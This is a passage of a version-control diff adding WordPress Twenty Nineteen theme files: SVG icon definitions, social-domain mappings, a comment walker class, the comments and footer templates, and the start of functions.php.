+    <path d="M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1zM8 13h8v-2H8v2zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5z"></path>
+</svg>',
+
+		'watch'                  => /* material-design – watch-later */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+    <defs>
+        <path id="a" d="M0 0h24v24H0V0z"></path>
+    </defs>
+    <clipPath id="b">
+        <use xlink:href="#a" overflow="visible"></use>
+    </clipPath>
+    <path clip-path="url(#b)" d="M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2zm4.2 14.2L11 13V7h1.5v5.2l4.5 2.7-.8 1.3z"></path>
+</svg>',
+
+		'archive'                => /* material-design – folder */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+    <path d="M10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8l-2-2z"></path>
+    <path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'tag'                    => /* material-design – local_offer */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+	<path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58.55 0 1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41 0-.55-.23-1.06-.59-1.42zM5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7z"></path>
+	<path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'comment'                => /* material-design – comment */ '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <path d="M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4-.01-18z"></path>
+    <path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'person'                 => /* material-design – person */ '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <path d="M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z"></path>
+    <path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'edit'                   => /* material-design – edit */ '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <path d="M3 17.25V21h3.75L17.81 9.94l-3.75-3.75L3 17.25zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.39-.39-1.02-.39-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83z"></path>
+    <path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'chevron_left'           => /* material-design – chevron_left */ '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <path d="M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"></path>
+    <path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'chevron_right'          => /* material-design – chevron_right */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+    <path d="M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"></path>
+    <path d="M0 0h24v24H0z" fill="none"></path>
+</svg>',
+
+		'check'                  => /* material-design – check */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+    <path d="M0 0h24v24H0z" fill="none"></path>
+    <path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z"></path>
+</svg>',
+
+		'arrow_drop_down_circle' => /* material-design – arrow_drop_down_circle */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+	<path d="M0 0h24v24H0z" fill="none"></path>
+	<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 12l-4-4h8l-4 4z"></path>
+</svg>',
+
+		'keyboard_arrow_down'    => /* material-design – keyboard_arrow_down */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+	<path d="M7.41 8.59L12 13.17l4.59-4.58L18 10l-6 6-6-6 1.41-1.41z"></path>
+	<path fill="none" d="M0 0h24v24H0V0z"></path>
+</svg>',
+
+		'keyboard_arrow_right'   => /* material-design – keyboard_arrow_right */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+	<path d="M10 17l5-5-5-5v10z"></path>
+	<path fill="none" d="M0 24V0h24v24H0z"></path>
+</svg>',
+
+		'keyboard_arrow_left'   => /* material-design – keyboard_arrow_left */ '
+<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24">
+	<path d="M14 7l-5 5 5 5V7z"></path>
+	<path fill="none" d="M24 0v24H0V0h24z"></path>
+</svg>',
+
+		'arrow_drop_down_ellipsis' => /* custom – arrow_drop_down_ellipsis */ '
+<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg">
+    <g fill="none" fill-rule="evenodd">
+        <path d="M0 0h24v24H0z"/>
+        <path fill="currentColor" fill-rule="nonzero" d="M12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2zM6 14a2 2 0 1 0 0-4 2 2 0 0 0 0 4zm6 0a2 2 0 1 0 0-4 2 2 0 0 0 0 4zm6 0a2 2 0 1 0 0-4 2 2 0 0 0 0 4z"/>
+    </g>
+</svg>',
+
+	);
+
+	/**
+	 * Social Icons – domain mappings.
+	 *
+	 * By default, each Icon ID is matched against a .com TLD. To override this behavior,
+	 * specify all the domains it covers (including the .com TLD too, if applicable).
+	 *
+	 * @var array
+	 */
+	static $social_icons_map = array(
+		'amazon'      => array(
+			'amazon.com',
+			'amazon.cn',
+			'amazon.in',
+			'amazon.fr',
+			'amazon.de',
+			'amazon.it',
+			'amazon.nl',
+			'amazon.es',
+			'amazon.co',
+			'amazon.ca',
+		),
+		'apple'       => array(
+			'apple.com',
+			'itunes.com',
+		),
+		'behance'     => array(
+			'behance.net',
+		),
+		'codepen'     => array(
+			'codepen.io',
+		),
+		'facebook'    => array(
+			'facebook.com',
+			'fb.me',
+		),
+		'feed'        => array(
+			'feed',
+		),
+		'google-plus' => array(
+			'plus.google.com',
+		),
+		'lastfm'      => array(
+			'last.fm',
+		),
+		'mail'        => array(
+			'mailto:',
+		),
+		'slideshare'  => array(
+			'slideshare.net',
+		),
+		'pocket'      => array(
+			'getpocket.com',
+		),
+		'twitch'      => array(
+			'twitch.tv',
+		),
+		'wordpress'   => array(
+			'wordpress.com',
+			'wordpress.org',
+		),
+	);
+
+	/**
+	 * Social Icons – svg sources.
+	 *
+	 * @var array
+	 */
+	static $social_icons = array(
+		'500px'       => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
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+		'spotify'     => '
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+		'tumblr'      => '
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+		'twitch'      => '
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+		'twitter'     => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path>
+</svg>',
+
+		'vimeo'       => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path>
+</svg>',
+
+		'vk'          => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path>
+</svg>',
+
+		'wordpress'   => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path>
+</svg>',
+
+		'yelp'        => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path>
+</svg>',
+
+		'youtube'     => '
+<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path>
+</svg>',
+
+	);
+
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/classes/class-twentynineteen-walker-comment.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/classes/class-twentynineteen-walker-comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/classes/class-twentynineteen-walker-comment.php	(revision 56912)
@@ -0,0 +1,118 @@
+<?php
+/**
+ * Custom comment walker for this theme
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/**
+ * This class outputs custom comment walker for HTML5 friendly WordPress comment and threaded replies.
+ *
+ * @since 1.0.0
+ */
+class TwentyNineteen_Walker_Comment extends Walker_Comment {
+
+	/**
+	 * Outputs a comment in the HTML5 format.
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param WP_Comment $comment Comment to display.
+	 * @param int        $depth   Depth of the current comment.
+	 * @param array      $args    An array of arguments.
+	 */
+	protected function html5_comment( $comment, $depth, $args ) {
+
+		$tag = ( 'div' === $args['style'] ) ? 'div' : 'li';
+
+		?>
+		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?>>
+			<article id="div-comment-<?php comment_ID(); ?>" class="comment-body">
+				<footer class="comment-meta">
+					<div class="comment-author vcard">
+						<?php
+						$comment_author_link = get_comment_author_link( $comment );
+						$comment_author_url  = get_comment_author_url( $comment );
+						$comment_author      = get_comment_author( $comment );
+						$avatar              = get_avatar( $comment, $args['avatar_size'] );
+						if ( 0 != $args['avatar_size'] ) {
+							if ( empty( $comment_author_url ) ) {
+								echo $avatar;
+							} else {
+								printf( '<a href="%s" rel="external nofollow" class="url">', $comment_author_url );
+								echo $avatar;
+							}
+						}
+						/*
+						 * Using the `check` icon instead of `check_circle`, since we can't add a
+						 * fill color to the inner check shape when in circle form.
+						 */
+						if ( twentynineteen_is_comment_by_post_author( $comment ) ) {
+							printf( '<span class="post-author-badge" aria-hidden="true">%s</span>', twentynineteen_get_icon_svg( 'check', 24 ) );
+						}
+
+						printf(
+							/* translators: %s: comment author link */
+							wp_kses(
+								__( '%s <span class="screen-reader-text says">says:</span>', 'twentynineteen' ),
+								array(
+									'span' => array(
+										'class' => array(),
+									),
+								)
+							),
+							'<b class="fn">' . get_comment_author_link( $comment ) . '</b>'
+						);
+
+						if ( ! empty( $comment_author_url ) ) {
+							echo '</a>';
+						}
+						?>
+					</div><!-- .comment-author -->
+
+					<div class="comment-metadata">
+						<a href="<?php echo esc_url( get_comment_link( $comment, $args ) ); ?>">
+							<?php
+								/* translators: 1: comment date, 2: comment time */
+								$comment_timestamp = sprintf( __( '%1$s at %2$s', 'twentynineteen' ), get_comment_date( '', $comment ), get_comment_time() );
+							?>
+							<time datetime="<?php comment_time( 'c' ); ?>" title="<?php echo $comment_timestamp; ?>">
+								<?php echo $comment_timestamp; ?>
+							</time>
+						</a>
+						<?php
+							$edit_comment_icon = twentynineteen_get_icon_svg( 'edit', 16 );
+							edit_comment_link( __( 'Edit', 'twentynineteen' ), '<span class="edit-link-sep">&mdash;</span> <span class="edit-link">' . $edit_comment_icon, '</span>' );
+						?>
+					</div><!-- .comment-metadata -->
+
+					<?php if ( '0' == $comment->comment_approved ) : ?>
+					<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentynineteen' ); ?></p>
+					<?php endif; ?>
+				</footer><!-- .comment-meta -->
+
+				<div class="comment-content">
+					<?php comment_text(); ?>
+				</div><!-- .comment-content -->
+
+			</article><!-- .comment-body -->
+
+			<?php
+			comment_reply_link(
+				array_merge(
+					$args,
+					array(
+						'add_below' => 'div-comment',
+						'depth'     => $depth,
+						'max_depth' => $args['max_depth'],
+						'before'    => '<div class="comment-reply">',
+						'after'     => '</div>',
+					)
+				)
+			);
+			?>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/comments.php	(revision 56912)
@@ -0,0 +1,128 @@
+<?php
+/**
+ * The template for displaying comments
+ *
+ * This is the template that displays the area of the page that contains both the current comments
+ * and the comment form.
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+*/
+if ( post_password_required() ) {
+	return;
+}
+
+$discussion = twentynineteen_get_discussion_data();
+?>
+
+<div id="comments" class="<?php echo comments_open() ? 'comments-area' : 'comments-area comments-closed'; ?>">
+	<div class="<?php echo $discussion->responses > 0 ? 'comments-title-wrap' : 'comments-title-wrap no-responses'; ?>">
+		<h2 class="comments-title">
+		<?php
+		if ( comments_open() ) {
+			if ( have_comments() ) {
+				_e( 'Join the Conversation', 'twentynineteen' );
+			} else {
+				_e( 'Leave a comment', 'twentynineteen' );
+			}
+		} else {
+			if ( '1' == $discussion->responses ) {
+				/* translators: %s: post title */
+				printf( _x( 'One reply on &ldquo;%s&rdquo;', 'comments title', 'twentynineteen' ), get_the_title() );
+			} else {
+				printf(
+					/* translators: 1: number of comments, 2: post title */
+					_nx(
+						'%1$s reply on &ldquo;%2$s&rdquo;',
+						'%1$s replies on &ldquo;%2$s&rdquo;',
+						$discussion->responses,
+						'comments title',
+						'twentynineteen'
+					),
+					number_format_i18n( $discussion->responses ),
+					get_the_title()
+				);
+			}
+		}
+		?>
+		</h2><!-- .comments-title -->
+		<?php
+			// Only show discussion meta information when comments are open and available.
+		if ( have_comments() && comments_open() ) {
+			get_template_part( 'template-parts/post/discussion', 'meta' );
+		}
+		?>
+	</div><!-- .comments-title-flex -->
+	<?php
+	if ( have_comments() ) :
+
+		// Show comment form at top if showing newest comments at the top.
+		if ( comments_open() ) {
+			twentynineteen_comment_form( 'desc' );
+		}
+
+		?>
+		<ol class="comment-list">
+			<?php
+			wp_list_comments(
+				array(
+					'walker'      => new TwentyNineteen_Walker_Comment(),
+					'avatar_size' => twentynineteen_get_avatar_size(),
+					'short_ping'  => true,
+					'style'       => 'ol',
+				)
+			);
+			?>
+		</ol><!-- .comment-list -->
+		<?php
+
+		// Show comment navigation
+		if ( have_comments() ) :
+			$prev_icon     = twentynineteen_get_icon_svg( 'chevron_left', 22 );
+			$next_icon     = twentynineteen_get_icon_svg( 'chevron_right', 22 );
+			$comments_text = __( 'Comments', 'twentynineteen' );
+			the_comments_navigation(
+				array(
+					'prev_text' => sprintf( '%s <span class="nav-prev-text"><span class="primary-text">%s</span> <span class="secondary-text">%s</span></span>', $prev_icon, __( 'Previous', 'twentynineteen' ), __( 'Comments', 'twentynineteen' ) ),
+					'next_text' => sprintf( '<span class="nav-next-text"><span class="primary-text">%s</span> <span class="secondary-text">%s</span></span> %s', __( 'Next', 'twentynineteen' ), __( 'Comments', 'twentynineteen' ), $next_icon ),
+				)
+			);
+		endif;
+
+		// Show comment form at bottom if showing newest comments at the bottom.
+		if ( comments_open() && 'asc' === strtolower( get_option( 'comment_order', 'asc' ) ) ) :
+			?>
+			<div class="comment-form-flex">
+				<span class="screen-reader-text"><?php _e( 'Leave a comment', 'twentynineteen' ); ?></span>
+				<?php twentynineteen_comment_form( 'asc' ); ?>
+				<h2 class="comments-title" aria-hidden="true"><?php _e( 'Leave a comment', 'twentynineteen' ); ?></h2>
+			</div>
+			<?php
+		endif;
+
+		// If comments are closed and there are comments, let's leave a little note, shall we?
+		if ( ! comments_open() ) :
+			?>
+			<p class="no-comments">
+				<?php _e( 'Comments are closed.', 'twentynineteen' ); ?>
+			</p>
+			<?php
+		endif;
+
+	else :
+
+		// Show comment form.
+		twentynineteen_comment_form( true );
+
+	endif; // if have_comments();
+	?>
+</div><!-- #comments -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/footer.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains the closing of the #content div and all content after.
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+?>
+
+	</div><!-- #content -->
+
+	<footer id="colophon" class="site-footer">
+		<?php get_template_part( 'template-parts/footer/footer', 'widgets' ); ?>
+		<div class="site-info">
+			<?php $blog_info = get_bloginfo( 'name' ); ?>
+			<?php if ( ! empty( $blog_info ) ) : ?>
+				<a class="site-name" href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a>,
+			<?php endif; ?>
+			<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentynineteen' ) ); ?>" class="imprint">
+				<?php
+				/* translators: %s: WordPress. */
+				printf( __( 'Proudly powered by %s.', 'twentynineteen' ), 'WordPress' );
+				?>
+			</a>
+			<?php
+			if ( function_exists( 'the_privacy_policy_link' ) ) {
+				the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+			}
+			?>
+			<?php if ( has_nav_menu( 'footer' ) ) : ?>
+				<nav class="footer-navigation" aria-label="<?php esc_attr_e( 'Footer Menu', 'twentynineteen' ); ?>">
+					<?php
+					wp_nav_menu(
+						array(
+							'theme_location' => 'footer',
+							'menu_class'     => 'footer-menu',
+							'depth'          => 1,
+						)
+					);
+					?>
+				</nav><!-- .footer-navigation -->
+			<?php endif; ?>
+		</div><!-- .site-info -->
+	</footer><!-- #colophon -->
+
+</div><!-- #page -->
+
+<?php wp_footer(); ?>
+
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/functions.php	(revision 56912)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * Twenty Nineteen functions and definitions
+ *
+ * @link https://developer.wordpress.org/themes/basics/theme-functions/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/**
+ * Twenty Nineteen only works in WordPress 4.7 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+	return;
+}
+
+if ( ! function_exists( 'twentynineteen_setup' ) ) :
+	/**
+	 * Sets up theme defaults and registers support for various WordPress features.
+	 *
+	 * Note that this function is hooked into the after_setup_theme hook, which
+	 * runs before the init hook. The init hook is too late for some features, such
+	 * as indicating support for post thumbnails.
+	 */
+	function twentynineteen_setup() {
+		/*
+		 * Make theme available for translation.
+		 * Translations can be filed in the /languages/ directory.
+		 * If you're building a theme based on Twenty Nineteen, use a find and replace
+		 * to change 'twentynineteen' to the name of your theme in all the template files.
+		 */
